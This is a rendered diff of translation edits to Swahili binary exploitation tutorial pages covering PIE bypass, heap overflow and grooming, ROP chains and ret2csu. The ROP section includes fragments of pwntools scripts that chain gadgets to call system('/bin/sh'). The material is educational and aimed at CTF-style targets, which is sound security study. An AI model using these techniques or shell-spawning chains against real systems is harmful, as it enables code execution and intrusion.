- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
 | 
			
		||||
- **Ret2...**
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,9 +4,9 @@
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
Binary iliyokusanywa kama PIE, au **Position Independent Executable**, inamaanisha **programu inaweza kupakiwa katika maeneo tofauti ya kumbukumbu** kila wakati inatekelezwa, ikizuia anwani zilizowekwa kwa nguvu.
 | 
			
		||||
Binary iliyotengenezwa kama PIE, au **Position Independent Executable**, inamaanisha **programu inaweza kupakiwa katika maeneo tofauti ya kumbukumbu** kila wakati inatekelezwa, ikizuia anwani zilizowekwa kwa nguvu.
 | 
			
		||||
 | 
			
		||||
Njia ya kutumia hizi binaries inategemea kutumia **anwani za uhusiano**—mipaka kati ya sehemu za programu inabaki sawa hata kama maeneo halisi yanabadilika. Ili **kupita PIE, unahitaji tu kuvuja anwani moja**, kawaida kutoka **stack** kwa kutumia udhaifu kama mashambulizi ya format string. Mara unapokuwa na anwani, unaweza kuhesabu nyingine kwa **mipaka yao iliyowekwa**.
 | 
			
		||||
Njia ya kutumia hizi binaries inategemea kutumia **anwani za uhusiano**—mipaka kati ya sehemu za programu inabaki sawa hata kama maeneo halisi yanabadilika. Ili **kuzidi PIE, unahitaji tu kuvuja anwani moja**, kawaida kutoka kwa **stack** kwa kutumia udhaifu kama mashambulizi ya format string. Mara unapokuwa na anwani, unaweza kuhesabu zingine kwa **mipaka yao iliyowekwa**.
 | 
			
		||||
 | 
			
		||||
Kidokezo muhimu katika kutumia binaries za PIE ni kwamba **anwani yao ya msingi kawaida huishia na 000** kutokana na kurasa za kumbukumbu kuwa vitengo vya randomization, vilivyopimwa kwa 0x1000 bytes. Mwelekeo huu unaweza kuwa **ukaguzi muhimu ikiwa exploit haifanyi kazi** kama inavyotarajiwa, ikionyesha ikiwa anwani sahihi ya msingi imebainishwa.\
 | 
			
		||||
Au unaweza kutumia hii kwa exploit yako, ikiwa unavuja kwamba anwani iko katika **`0x649e1024`** unajua kwamba **anwani ya msingi ni `0x649e1000`** na kutoka hapo unaweza tu **kuhesabu mipaka** ya kazi na maeneo.
 | 
			
		||||
@ -15,7 +15,7 @@ Au unaweza kutumia hii kwa exploit yako, ikiwa unavuja kwamba anwani iko katika
 | 
			
		||||
 | 
			
		||||
Ili kupita PIE inahitajika **kuvuja anwani fulani ya binary iliyopakiwa**, kuna chaguzi kadhaa kwa hili:
 | 
			
		||||
 | 
			
		||||
- **ASLR Imezimwa**: Ikiwa ASLR imezimwa, binary iliyokusanywa na PIE daima **itawekwa katika anwani ile ile**, kwa hivyo **PIE itakuwa haina maana** kwani anwani za vitu daima zitakuwa mahali pamoja.
 | 
			
		||||
- **ASLR Imezimwa**: Ikiwa ASLR imezimwa, binary iliyotengenezwa na PIE daima **itawekwa katika anwani ile ile**, kwa hivyo **PIE itakuwa haina maana** kwani anwani za vitu daima zitakuwa mahali pamoja.
 | 
			
		||||
- Kuwa **na** uvujaji (kawaida katika changamoto rahisi za CTF, [**angalia mfano huu**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
 | 
			
		||||
- **Brute-force EBP na EIP values** katika stack hadi uvuja anwani sahihi:
 | 
			
		||||
 | 
			
		||||
@ -23,7 +23,7 @@ Ili kupita PIE inahitajika **kuvuja anwani fulani ya binary iliyopakiwa**, kuna
 | 
			
		||||
bypassing-canary-and-pie.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- Tumia udhaifu wa **kusoma bila mpangilio** kama [**format string**](../../format-strings/) kuvuja anwani ya binary (kwa mfano kutoka stack, kama katika mbinu ya awali) ili kupata msingi wa binary na kutumia mipaka kutoka hapo. [**Pata mfano hapa**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 | 
			
		||||
- Tumia udhaifu wa **kusoma bila mpangilio** kama [**format string**](../../format-strings/index.html) kuvuja anwani ya binary (kwa mfano kutoka kwa stack, kama katika mbinu ya awali) ili kupata msingi wa binary na kutumia mipaka kutoka hapo. [**Pata mfano hapa**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,34 +4,34 @@
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
Heap overflow ni kama [**stack overflow**](../stack-overflow/) lakini katika heap. Kimsingi inamaanisha kwamba nafasi fulani ilihifadhiwa katika heap kuhifadhi data fulani na **data iliyohifadhiwa ilikuwa kubwa kuliko nafasi iliyohifadhiwa.**
 | 
			
		||||
Heap overflow ni kama [**stack overflow**](../stack-overflow/index.html) lakini katika heap. Kimsingi inamaanisha kwamba nafasi fulani ilihifadhiwa katika heap kuhifadhi data fulani na **data iliyohifadhiwa ilikuwa kubwa kuliko nafasi iliyohifadhiwa.**
 | 
			
		||||
 | 
			
		||||
Katika stack overflows tunajua kwamba baadhi ya register kama vile pointer ya maagizo au stack frame zitarejeshwa kutoka kwenye stack na inaweza kuwa na uwezekano wa kutumia hii. Katika kesi ya heap overflows, **hakuna taarifa nyeti iliyohifadhiwa kwa chaguo-msingi** katika kipande cha heap ambacho kinaweza kujaa. Hata hivyo, inaweza kuwa taarifa nyeti au pointers, hivyo **umuhimu** wa udhaifu huu **unategemea** **ni data ipi inaweza kuandikwa upya** na jinsi mshambuliaji anaweza kutumia hii.
 | 
			
		||||
Katika stack overflows tunajua kwamba baadhi ya register kama vile pointer ya maagizo au stack frame zitarejeshwa kutoka kwenye stack na inaweza kuwa na uwezekano wa kutumia hii vibaya. Katika kesi ya heap overflows, **hakuna taarifa nyeti iliyohifadhiwa kwa chaguo-msingi** katika kipande cha heap ambacho kinaweza kujaa. Hata hivyo, inaweza kuwa taarifa nyeti au pointers, hivyo **umuhimu** wa udhaifu huu **unategemea** **ni data ipi inaweza kuandikwa upya** na jinsi mshambuliaji anaweza kutumia hii vibaya.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Ili kupata overflow offsets unaweza kutumia mifumo sawa kama katika [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets).
 | 
			
		||||
 | 
			
		||||
### Stack Overflows vs Heap Overflows
 | 
			
		||||
 | 
			
		||||
Katika stack overflows, kupanga na data ambayo itakuwa katika stack wakati udhaifu unaweza kuchochewa ni ya kuaminika sana. Hii ni kwa sababu stack ni ya mstari, kila wakati ikiongezeka katika kumbukumbu inayopingana, katika **sehemu maalum za programu inayoendesha kumbukumbu ya stack kawaida huhifadhi aina sawa ya data** na ina muundo maalum na pointers kadhaa mwishoni mwa sehemu ya stack inayotumiwa na kila kazi.
 | 
			
		||||
Katika stack overflows, kupanga na data ambayo itakuwa katika stack wakati udhaifu unaweza kuchochewa ni ya kuaminika sana. Hii ni kwa sababu stack ni ya mstari, kila wakati inakua katika kumbukumbu inayopingana, katika **sehemu maalum za programu inayoendesha kumbukumbu ya stack kawaida huhifadhi aina sawa ya data** na ina muundo maalum na pointers kadhaa mwishoni mwa sehemu ya stack inayotumiwa na kila kazi.
 | 
			
		||||
 | 
			
		||||
Hata hivyo, katika kesi ya heap overflow, kumbukumbu inayotumika si ya mstari bali **vipande vilivyotengwa kawaida viko katika nafasi tofauti za kumbukumbu** (sio kando ya nyingine) kwa sababu ya **bins na maeneo** yanayotenganisha allocations kwa ukubwa na kwa sababu **kumbukumbu iliyotolewa awali inatumika** kabla ya kutenga vipande vipya. Ni **ngumu kujua kitu ambacho kitakuwa kinagongana na kile kilicho hatarini** kwa heap overflow. Hivyo, wakati heap overflow inapatikana, inahitajika kupata **njia ya kuaminika kufanya kitu kinachotakiwa kuwa karibu katika kumbukumbu** na kile kinachoweza kujaa.
 | 
			
		||||
Hata hivyo, katika kesi ya heap overflow, kumbukumbu inayotumika si ya mstari bali **vipande vilivyotengwa kawaida viko katika nafasi tofauti za kumbukumbu** (sio kando ya nyingine) kwa sababu ya **bins na maeneo** yanayogawanya allocations kwa ukubwa na kwa sababu **kumbukumbu iliyotolewa awali inatumika** kabla ya kutenga vipande vipya. Ni **ngumu kujua kitu ambacho kitakuwa kinagongana na kile kilicho hatarini** kwa heap overflow. Hivyo, wakati heap overflow inapatikana, inahitajika kupata **njia ya kuaminika kufanya kitu kinachotakiwa kuwa karibu katika kumbukumbu** na kile kinachoweza kujaa.
 | 
			
		||||
 | 
			
		||||
Moja ya mbinu zinazotumika kwa hili ni **Heap Grooming** ambayo inatumika kwa mfano [**katika chapisho hili**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Katika chapisho inaelezwa jinsi wakati katika kernel ya iOS wakati eneo linapokosa kumbukumbu ya kuhifadhi vipande vya kumbukumbu, linaipanua kwa ukurasa wa kernel, na ukurasa huu unagawanywa katika vipande vya ukubwa unaotarajiwa ambavyo vitatumika kwa mpangilio (hadi toleo la iOS 9.2, kisha vipande hivi vinatumika kwa njia ya nasibu ili kuleta ugumu katika unyakuzi wa mashambulizi haya).
 | 
			
		||||
 | 
			
		||||
Kwa hivyo, katika chapisho la awali ambapo heap overflow inatokea, ili kulazimisha kipande kilichojazwa kuwa kinagongana na agizo la mwathirika, **`kallocs` kadhaa zinapaswa kulazimishwa na nyuzi kadhaa ili kujaribu kuhakikisha kwamba vipande vyote vilivyotolewa vimejaa na kwamba ukurasa mpya unaundwa**.
 | 
			
		||||
Hivyo, katika chapisho la awali ambapo heap overflow inatokea, ili kulazimisha kipande kilichojazwa kuwa kinagongana na agizo la mwathirika, **`kallocs` kadhaa zinapaswa kulazimishwa na nyuzi kadhaa ili kujaribu kuhakikisha kwamba vipande vyote vilivyotolewa vimejaa na kwamba ukurasa mpya unaundwa**.
 | 
			
		||||
 | 
			
		||||
Ili kulazimisha kujaza hili kwa vitu vya ukubwa maalum, **allocation ya nje ya mstari inayohusishwa na iOS mach port** ni mgombea bora. Kwa kubuni ukubwa wa ujumbe, inawezekana kubaini kwa usahihi ukubwa wa `kalloc` allocation na wakati mach port inayohusiana inaharibiwa, allocation inayohusiana itarejeshwa mara moja kwa `kfree`.
 | 
			
		||||
Ili kulazimisha kujaza hili kwa vitu vya ukubwa maalum, **allocation isiyo ya mstari inayohusishwa na iOS mach port** ni mgombea bora. Kwa kubuni ukubwa wa ujumbe, inawezekana kubaini kwa usahihi ukubwa wa `kalloc` allocation na wakati mach port inayohusiana inaharibiwa, allocation inayohusiana itarejeshwa mara moja kwa `kfree`.
 | 
			
		||||
 | 
			
		||||
Kisha, baadhi ya hizi placeholders zinaweza kuwa **zimeachiliwa**. Orodha ya bure ya **`kalloc.4096` inatoa vipengele kwa mpangilio wa mwisho-kuingia-wa-kwanza-kuondolewa**, ambayo kimsingi inamaanisha kwamba ikiwa baadhi ya placeholders zimeachiliwa na unyakuzi unajaribu kutenga vitu kadhaa vya mwathirika wakati akijaribu kutenga kipande kilicho hatarini kujaa, kuna uwezekano kwamba kipande hiki kitafuatiwa na kipande cha mwathirika.
 | 
			
		||||
Kisha, baadhi ya hizi placeholders zinaweza kuwa **zimeachiliwa**. **Orodha ya bure ya `kalloc.4096` inatoa vipengele kwa mpangilio wa mwisho-kuingia-wa-kwanza-kuondolewa**, ambayo kimsingi inamaanisha kwamba ikiwa baadhi ya placeholders zimeachiliwa na unyakuzi unajaribu kutenga vitu kadhaa vya mwathirika wakati akijaribu kutenga kipande kilicho hatarini kujaa, kuna uwezekano kwamba kipande hiki kitafuatiwa na kipande cha mwathirika.
 | 
			
		||||
 | 
			
		||||
### Example libc
 | 
			
		||||
 | 
			
		||||
[**Katika ukurasa huu**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) inawezekana kupata mfano wa msingi wa Heap overflow unaoonyesha jinsi ya kuandika upya prev in use bit ya kipande kinachofuata na nafasi ya prev size inawezekana **kuunganisha kipande kilichotumika** (kwa kulifanya kufikiri hakitumiki) na **kisha kukitenga tena** ikiwa na uwezo wa kuandika data inayotumika katika pointer tofauti pia.
 | 
			
		||||
[**Katika ukurasa huu**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) inawezekana kupata mfano wa msingi wa Heap overflow unaoonyesha jinsi ya kuandika upya prev in use bit ya kipande kinachofuata na nafasi ya prev size inawezekana **kuunganisha kipande kilichotumika** (kwa kulifanya kufikiri hakijatumika) na **kisha kukitenga tena** ikiwa na uwezo wa kuandika data inayotumiwa katika pointer tofauti pia.
 | 
			
		||||
 | 
			
		||||
Mfano mwingine kutoka [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) unaonyesha mfano wa msingi wa CTF ambapo **heap overflow** inaweza kutumika kuita kazi ya mshindi ili **kupata bendera**.
 | 
			
		||||
Mfano mwingine kutoka [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) unaonyesha mfano wa msingi wa CTF ambapo **heap overflow** inaweza kutumika vibaya kuita kazi ya mshindi ili **kupata bendera**.
 | 
			
		||||
 | 
			
		||||
Katika mfano wa [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) inawezekana kuona jinsi ya kutumia overflow ya buffer inawezekana **kuandika upya katika kipande kilichokaribu anwani** ambapo **data isiyo na mpangilio kutoka kwa mtumiaji** itakuwa imeandikwa.
 | 
			
		||||
Katika mfano wa [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) inawezekana kuona jinsi ya kutumia overflow ya buffer inaweza **kuandika upya katika kipande kilichokaribu anwani** ambapo **data ya mtumiaji isiyo na mipaka** itakuwa imeandikwa.
 | 
			
		||||
 | 
			
		||||
### Example ARM64
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -2,44 +2,44 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## **Taarifa za Msingi**
 | 
			
		||||
## **Basic Information**
 | 
			
		||||
 | 
			
		||||
**Return-Oriented Programming (ROP)** ni mbinu ya juu ya unyakuzi inayotumika kukwepa hatua za usalama kama **No-Execute (NX)** au **Data Execution Prevention (DEP)**. Badala ya kuingiza na kutekeleza shellcode, mshambuliaji anatumia vipande vya msimbo vilivyopo tayari katika binary au katika maktaba zilizopakiwa, vinavyojulikana kama **"gadgets"**. Kila gadget kwa kawaida huishia na amri ya `ret` na inatekeleza operesheni ndogo, kama vile kuhamasisha data kati ya register au kufanya operesheni za hesabu. Kwa kuunganisha gadgets hizi pamoja, mshambuliaji anaweza kujenga payload ili kufanya operesheni zisizo na mipaka, kwa ufanisi akikwepa ulinzi wa NX/DEP.
 | 
			
		||||
 | 
			
		||||
### Jinsi ROP Inavyofanya Kazi
 | 
			
		||||
### How ROP Works
 | 
			
		||||
 | 
			
		||||
1. **Kuhujumu Mwelekeo wa Udhibiti**: Kwanza, mshambuliaji anahitaji kuhujumu mwelekeo wa udhibiti wa programu, kwa kawaida kwa kutumia udhaifu wa buffer overflow ili kuandika anwani ya kurudi iliyohifadhiwa kwenye stack.
 | 
			
		||||
2. **Kuunganisha Gadgets**: Mshambuliaji kisha anachagua kwa makini na kuunganisha gadgets ili kufanya vitendo vinavyotakiwa. Hii inaweza kujumuisha kuandaa hoja za wito wa kazi, kuita kazi hiyo (kwa mfano, `system("/bin/sh")`), na kushughulikia usafishaji wowote unaohitajika au operesheni za ziada.
 | 
			
		||||
3. **Utekelezaji wa Payload**: Wakati kazi iliyo hatarini inaporudi, badala ya kurudi kwenye eneo halali, inaanza kutekeleza mnyororo wa gadgets.
 | 
			
		||||
1. **Control Flow Hijacking**: Kwanza, mshambuliaji anahitaji kukamata mtiririko wa udhibiti wa programu, kwa kawaida kwa kutumia udhaifu wa buffer overflow ili kuandika anwani ya kurudi iliyohifadhiwa kwenye stack.
 | 
			
		||||
2. **Gadget Chaining**: Mshambuliaji kisha anachagua kwa makini na kuunganisha gadgets ili kufanya vitendo vinavyotakiwa. Hii inaweza kujumuisha kuandaa hoja za wito wa kazi, kuita kazi hiyo (kwa mfano, `system("/bin/sh")`), na kushughulikia usafishaji wowote unaohitajika au operesheni za ziada.
 | 
			
		||||
3. **Payload Execution**: Wakati kazi iliyo hatarini inaporudi, badala ya kurudi kwenye eneo halali, inaanza kutekeleza mnyororo wa gadgets.
 | 
			
		||||
 | 
			
		||||
### Zana
 | 
			
		||||
### Tools
 | 
			
		||||
 | 
			
		||||
Kwa kawaida, gadgets zinaweza kupatikana kwa kutumia [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) au moja kwa moja kutoka **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
 | 
			
		||||
 | 
			
		||||
## Mfano wa Mnyororo wa ROP katika x86
 | 
			
		||||
## ROP Chain in x86 Example
 | 
			
		||||
 | 
			
		||||
### **x86 (32-bit) Mikataba ya Kuita**
 | 
			
		||||
### **x86 (32-bit) Calling conventions**
 | 
			
		||||
 | 
			
		||||
- **cdecl**: Mtu anayeita anasafisha stack. Hoja za kazi zinawekwa kwenye stack kwa mpangilio wa kinyume (kulia-kushoto). **Hoja zinawekwa kwenye stack kutoka kulia kwenda kushoto.**
 | 
			
		||||
- **stdcall**: Inafanana na cdecl, lakini mtu anayeitwa ndiye mwenye jukumu la kusafisha stack.
 | 
			
		||||
- **stdcall**: Inafanana na cdecl, lakini mtu anayeitwa ndiye anayehusika na kusafisha stack.
 | 
			
		||||
 | 
			
		||||
### **Kugundua Gadgets**
 | 
			
		||||
### **Finding Gadgets**
 | 
			
		||||
 | 
			
		||||
Kwanza, hebu tuweke dhana kwamba tumegundua gadgets zinazohitajika ndani ya binary au maktaba zake zilizopakiwa. Gadgets tunazovutiwa nazo ni:
 | 
			
		||||
Kwanza, hebu tuweke dhana kwamba tumetambua gadgets zinazohitajika ndani ya binary au maktaba zake zilizopakiwa. Gadgets tunazovutiwa nazo ni:
 | 
			
		||||
 | 
			
		||||
- `pop eax; ret`: Gadget hii inachukua thamani ya juu ya stack na kuhamasisha kwenye register ya `EAX` na kisha inarudi, ikitupa udhibiti wa `EAX`.
 | 
			
		||||
- `pop ebx; ret`: Inafanana na ile ya juu, lakini kwa register ya `EBX`, ikiruhusu udhibiti wa `EBX`.
 | 
			
		||||
- `mov [ebx], eax; ret`: Inahamisha thamani katika `EAX` kwenda kwenye eneo la kumbukumbu linaloonyeshwa na `EBX` na kisha inarudi. Hii mara nyingi inaitwa **write-what-where gadget**.
 | 
			
		||||
- Zaidi ya hayo, tuna anwani ya kazi ya `system()` inapatikana.
 | 
			
		||||
 | 
			
		||||
### **Mnyororo wa ROP**
 | 
			
		||||
### **ROP Chain**
 | 
			
		||||
 | 
			
		||||
Kwa kutumia **pwntools**, tunaandaa stack kwa ajili ya utekelezaji wa mnyororo wa ROP kama ifuatavyo tukilenga kutekeleza `system('/bin/sh')`, angalia jinsi mnyororo unavyoanza na:
 | 
			
		||||
 | 
			
		||||
1. Amri ya `ret` kwa ajili ya kusawazisha (hiari)
 | 
			
		||||
2. Anwani ya kazi ya `system` (tukidhani ASLR imezimwa na libc inajulikana, maelezo zaidi katika [**Ret2lib**](ret2lib/))
 | 
			
		||||
3. Mahali pa kurudi kutoka kwa `system()`
 | 
			
		||||
4. Anwani ya string ya `"/bin/sh"` (hoja kwa kazi ya system)
 | 
			
		||||
2. Anwani ya kazi ya `system` (tukidhani ASLR imezimwa na libc inajulikana, maelezo zaidi katika [**Ret2lib**](ret2lib/index.html))
 | 
			
		||||
3. Mahali pa kurudi kutoka `system()`
 | 
			
		||||
4. Anwani ya string `"/bin/sh"` (hoja kwa kazi ya system)
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -73,26 +73,26 @@ payload = fit({offset: rop_chain})
 | 
			
		||||
p.sendline(payload)
 | 
			
		||||
p.interactive()
 | 
			
		||||
```
 | 
			
		||||
## ROP Chain katika mfano wa x64
 | 
			
		||||
## ROP Chain in x64 Example
 | 
			
		||||
 | 
			
		||||
### **x64 (64-bit) Mikataba ya Kuita**
 | 
			
		||||
### **x64 (64-bit) Calling conventions**
 | 
			
		||||
 | 
			
		||||
- Inatumia **System V AMD64 ABI** mikataba ya kuita kwenye mifumo kama Unix, ambapo **hoja za kwanza sita za nambari au viashiria zinapitishwa katika register `RDI`, `RSI`, `RDX`, `RCX`, `R8`, na `R9`**. Hoja za ziada zinapitishwa kwenye stack. Thamani ya kurudi inawekwa katika `RAX`.
 | 
			
		||||
- Mikataba ya kuita ya **Windows x64** inatumia `RCX`, `RDX`, `R8`, na `R9` kwa hoja za kwanza nne za nambari au viashiria, huku hoja za ziada zikipitishwa kwenye stack. Thamani ya kurudi inawekwa katika `RAX`.
 | 
			
		||||
- **Registers**: Registers za 64-bit zinajumuisha `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, na `R8` hadi `R15`.
 | 
			
		||||
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
 | 
			
		||||
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
 | 
			
		||||
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
 | 
			
		||||
 | 
			
		||||
#### **Kupata Gadgets**
 | 
			
		||||
#### **Finding Gadgets**
 | 
			
		||||
 | 
			
		||||
Kwa kusudi letu, hebu tuzingatie gadgets ambazo zitaturuhusu kuweka register **RDI** (ili kupitisha string **"/bin/sh"** kama hoja kwa **system()**) na kisha kuita kazi ya **system()**. Tutadhani tumetambua gadgets zifuatazo:
 | 
			
		||||
Kwa madhumuni yetu, hebu tuzingatie gadgets ambazo zitaturuhusu kuweka register ya **RDI** (kutoa string ya **"/bin/sh"** kama hoja kwa **system()**) na kisha kuita kazi ya **system()**. Tutadhani tumetambua gadgets zifuatazo:
 | 
			
		||||
 | 
			
		||||
- **pop rdi; ret**: Inachukua thamani ya juu ya stack na kuiweka katika **RDI** na kisha inarudi. Muhimu kwa kuweka hoja yetu kwa **system()**.
 | 
			
		||||
- **pop rdi; ret**: Inachukua thamani ya juu ya stack na kuiweka kwenye **RDI** na kisha inarudi. Muhimu kwa kuweka hoja yetu kwa **system()**.
 | 
			
		||||
- **ret**: Kurudi rahisi, muhimu kwa usawa wa stack katika hali fulani.
 | 
			
		||||
 | 
			
		||||
Na tunajua anwani ya kazi ya **system()**.
 | 
			
		||||
 | 
			
		||||
### **ROP Chain**
 | 
			
		||||
 | 
			
		||||
Hapa chini kuna mfano wa kutumia **pwntools** kuandaa na kutekeleza ROP chain inayolenga kutekeleza **system('/bin/sh')** kwenye **x64**:
 | 
			
		||||
Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -129,13 +129,13 @@ p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Katika mfano huu:
 | 
			
		||||
 | 
			
		||||
- Tunatumia **`pop rdi; ret`** gadget kuweka **`RDI`** kwenye anwani ya **`"/bin/sh"`**.
 | 
			
		||||
- Tunatumia gadget ya **`pop rdi; ret`** kuweka **`RDI`** kwenye anwani ya **`"/bin/sh"`**.
 | 
			
		||||
- Tunaruka moja kwa moja kwenye **`system()`** baada ya kuweka **`RDI`**, na anwani ya **system()** katika mnyororo.
 | 
			
		||||
- **`ret_gadget`** inatumika kwa usawa ikiwa mazingira ya lengo yanahitaji hivyo, ambayo ni ya kawaida zaidi katika **x64** kuhakikisha usawa sahihi wa stack kabla ya kuita kazi.
 | 
			
		||||
- **`ret_gadget`** inatumika kwa ajili ya usawa ikiwa mazingira ya lengo yanahitaji hivyo, ambayo ni ya kawaida zaidi katika **x64** ili kuhakikisha usawa sahihi wa stack kabla ya kuita kazi.
 | 
			
		||||
 | 
			
		||||
### Usawa wa Stack
 | 
			
		||||
 | 
			
		||||
**The x86-64 ABI** inahakikisha kwamba **stack inakuwa na usawa wa byte 16** wakati **amri ya call** inatekelezwa. **LIBC**, ili kuboresha utendaji, **inatumia SSE instructions** (kama **movaps**) ambazo zinahitaji usawa huu. Ikiwa stack haijawa na usawa sahihi (kumanisha **RSP** si mara kadhaa ya 16), kuita kazi kama **system** kutashindwa katika **ROP chain**. Ili kurekebisha hili, ongeza tu **ret gadget** kabla ya kuita **system** katika mnyororo wako wa ROP.
 | 
			
		||||
**The x86-64 ABI** inahakikisha kwamba **stack inakuwa na usawa wa byte 16** wakati **amri ya call** inatekelezwa. **LIBC**, ili kuboresha utendaji, **inatumia amri za SSE** (kama **movaps**) ambazo zinahitaji usawa huu. Ikiwa stack haijawa na usawa sahihi (kumanisha **RSP** si mara kadhaa ya 16), kuita kazi kama **system** kutashindwa katika **ROP chain**. Ili kurekebisha hili, ongeza tu **ret gadget** kabla ya kuita **system** katika mnyororo wako wa ROP.
 | 
			
		||||
 | 
			
		||||
## Tofauti kuu kati ya x86 na x64
 | 
			
		||||
 | 
			
		||||
@ -154,13 +154,13 @@ Angalia ukurasa ufuatao kwa habari hii:
 | 
			
		||||
 | 
			
		||||
## Ulinzi Dhidi ya ROP
 | 
			
		||||
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Ulinzi huu unafanya kuwa ngumu kutumia ROP kwani anwani za gadgets hubadilika kati ya utekelezaji.
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Katika BOF, inahitajika kupita kwenye hifadhi ya stack canary ili kuandika viashiria vya kurudi ili kutumia mnyororo wa ROP.
 | 
			
		||||
- **Ukosefu wa Gadgets**: Ikiwa hakuna gadgets za kutosha, haitakuwa inawezekana kuunda mnyororo wa ROP.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Ulinzi huu unafanya kuwa ngumu kutumia ROP kwani anwani za gadgets hubadilika kati ya utekelezaji.
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): Katika BOF, inahitajika kupita hifadhi ya stack canary ili kuandika tena viashiria vya kurudi ili kutumia mnyororo wa ROP.
 | 
			
		||||
- **Ukosefu wa Gadgets**: Ikiwa hakuna gadgets za kutosha, haitakuwa rahisi kuunda mnyororo wa ROP.
 | 
			
		||||
 | 
			
		||||
## Mbinu za msingi za ROP
 | 
			
		||||
 | 
			
		||||
Kumbuka kwamba ROP ni mbinu tu ili kutekeleza msimbo usio na mipaka. Kulingana na ROP, mbinu nyingi za Ret2XXX zilikuwa zimeendelezwa:
 | 
			
		||||
Kumbuka kwamba ROP ni mbinu tu ya kutekeleza msimbo usio na mipaka. Kulingana na ROP, mbinu nyingi za Ret2XXX zilikuwa zimeendelezwa:
 | 
			
		||||
 | 
			
		||||
- **Ret2lib**: Tumia ROP kuita kazi zisizo na mipaka kutoka kwa maktaba iliyopakiwa na vigezo vya kiholela (kawaida kitu kama `system('/bin/sh')`.
 | 
			
		||||
 | 
			
		||||
@ -184,8 +184,8 @@ rop-syscall-execv/
 | 
			
		||||
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
 | 
			
		||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
 | 
			
		||||
- 64 bit, Pie na nx zimewezeshwa, hakuna canary, andika RIP na anwani ya `vsyscall` kwa kusudi pekee la kurudi kwenye anwani inayofuata kwenye stack ambayo itakuwa ni kuandika sehemu ya anwani ili kupata sehemu ya kazi inayovuja bendera
 | 
			
		||||
- 64 bit, Pie na nx zimewezeshwa, hakuna canary, andika RIP na anwani ya `vsyscall` kwa kusudi la kurudi kwenye anwani inayofuata kwenye stack ambayo itakuwa ni kuandika sehemu ya anwani ili kupata sehemu ya kazi inayovuja bendera
 | 
			
		||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
 | 
			
		||||
- arm64, hakuna ASLR, ROP gadget kufanya stack iweze kutekelezwa na kuruka kwenye shellcode katika stack
 | 
			
		||||
- arm64, hakuna ASLR, ROP gadget ili kufanya stack iweze kutekelezwa na kuruka kwenye shellcode katika stack
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -8,7 +8,7 @@
 | 
			
		||||
 | 
			
		||||
**ret2csu** ni mbinu ya udukuzi inayotumika unapojaribu kuchukua udhibiti wa programu lakini huwezi kupata **gadgets** unazotumia kawaida kubadilisha tabia ya programu.
 | 
			
		||||
 | 
			
		||||
